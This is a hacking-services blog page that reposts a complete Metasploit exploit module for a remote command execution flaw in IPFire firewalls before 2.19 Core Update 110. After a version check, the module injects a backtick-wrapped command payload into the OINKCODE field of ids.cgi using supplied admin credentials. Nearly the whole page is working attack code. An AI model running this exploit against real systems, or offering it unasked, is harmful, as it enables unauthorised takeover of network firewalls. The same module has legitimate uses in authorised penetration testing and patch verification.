Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397290

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
## This module requires Metasploit: https://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'IPFire proxy.cgi RCE',
        'Description' => %q(
          IPFire, a free linux based open source firewall distribution,
          version < 2.19 Update Core 110 contains a remote command execution
          vulnerability in the ids.cgi page in the OINKCODE field.
        ),
        'Author'      =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            '0x09AL'                         # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '42149' ]
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' => { 'SSL' => true },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl awk openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Jun 09 2017'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ]
    )
  end

  def check
    begin
      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
      # after a chat with @bcoles in IRC.
      res = send_request_cgi(
        'uri'           => '/cgi-bin/pakfire.cgi',
        'method'        => 'GET',
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      )

      if res && res.code == 200
        /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
      end
      if version.nil? || update.nil? || !Gem::Version.correct?(version)
        vprint_error('No Recognizable Version Found')
        CheckCode::Safe
      elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
        CheckCode::Appears
      else
        vprint_error('Version and/or Update Not Supported')
        CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("Connection Failed")
      CheckCode::Safe
    end
  end

  def exploit
    begin
      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
      # after a chat with @bcoles in IRC.
      vprint_status('Sending request')
      res = send_request_cgi(
        'uri'           => '/cgi-bin/ids.cgi',
        'method'        => 'POST',
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers'       =>
          {
            'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
          },
        'vars_post'          => {
          'ENABLE_SNORT_GREEN' => 'on',
          'ENABLE_SNORT' => 'on',
          'RULES' => 'registered',
          'OINKCODE' => "`#{payload.encoded}`",
          'ACTION' => 'Download new ruleset',
          'ACTION2' => 'snort'
          }
      )

      # success means we hang our session, and wont get back a response, so just check we get a response back
      if res && res.code != 200
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end